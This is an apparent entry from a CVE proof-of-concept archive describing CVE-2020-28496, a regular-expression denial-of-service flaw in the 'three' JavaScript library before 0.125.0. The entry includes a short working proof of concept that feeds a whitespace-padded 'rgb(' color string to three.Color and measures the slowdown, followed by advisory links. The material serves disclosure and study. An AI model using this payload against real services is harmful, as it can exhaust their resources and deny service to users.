CVEs-PoC/2020/CVE-2020-28496.md

CVE-2020-28496

Description

This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")

POC

Reference

• https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972
• https://snyk.io/vuln/SNYK-JS-THREE-1064931

Github

• https://github.com/Leeft/three-sprite-texture-atlas-manager
• https://github.com/engn33r/awesome-redos-security
• https://github.com/yetingli/PoCs